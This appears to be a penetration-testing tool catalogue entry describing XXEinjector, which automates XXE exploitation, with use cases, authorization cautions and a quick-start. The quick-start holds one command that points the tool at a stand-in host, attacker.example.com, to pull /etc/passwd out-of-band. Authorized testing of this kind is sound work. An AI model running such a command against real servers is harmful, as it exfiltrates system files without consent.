X-XXE
XXEinjector
Automates exploitation of XXE injection, including blind/out-of-band data exfiltration techniques.
OVERVIEW
XXEinjector (github.com/enjoiz/XXEinjector) is a Ruby tool that automates exploitation of XML External Entity (XXE) injection once a raw HTTP request with an XML body has been captured, typically from Burp Suite. Fed that request as a template, it substitutes the target parameter with generated XXE payloads and drives the rest of the workflow: file retrieval, directory listing, and brute-forcing lists of common file paths, all without hand-editing the XML for every attempt.
Where a direct response leak isn't available, it supports out-of-band (OOB) techniques — FTP and HTTP exfiltration to an attacker-controlled listener — plus request-based and PHP-filter-based retrieval, and it can operate blind, inferring content indirectly when the target application returns no useful response body.
USE CASES
Practical use cases
- 01
Automating file retrieval and directory brute-forcing once a raw XML request has been confirmed as vulnerable to XXE.
- 02
Exfiltrating data out-of-band via FTP/HTTP when the application's response doesn't reflect the injected entity's content.
- 03
Testing PHP-filter-based retrieval to read source files on PHP backends without direct output.
- 04
Batch-testing entity-injection variants against a captured request instead of hand-crafting each XML payload.
QUICK START
Once a request accepts raw or embedded XML and a manual XXE payload looks promising — to automate the direct and OOB exfiltration techniques and file brute-forcing.
- Confirm the XML-accepting endpoint and any out-of-band exfiltration channel you plan to use are inside the agreed scope.
- Capture a raw HTTP request with the vulnerable XML body (e.g. from Burp Suite) and save it to a file.
- Install the Ruby dependencies and run XXEinjector against the saved request, pointing --host/--path at your listener for OOB techniques.
- For blind cases, stand up an FTP or HTTP listener you control and watch it for the callback confirming injection.
- Review recovered files or callbacks and document the exact payload and exfiltration channel used.
ruby XXEinjector.rb --host=attacker.example.com --file=request.txt --path=/etc/passwd --oob=httpBEFORE YOU RUN IT
What to check before running it
OOB exfiltration techniques make the target server reach out to an attacker-controlled listener over FTP/HTTP — get explicit authorization for that interaction channel and document it in the report, since it can touch infrastructure beyond the immediate target.
File brute-forcing and blind retrieval generate a real volume of requests against the vulnerable endpoint — confirm the rate is acceptable before running it against production.
A callback or partial read is a strong signal, not automatic proof of full impact — manually verify what was actually retrieved before writing up severity.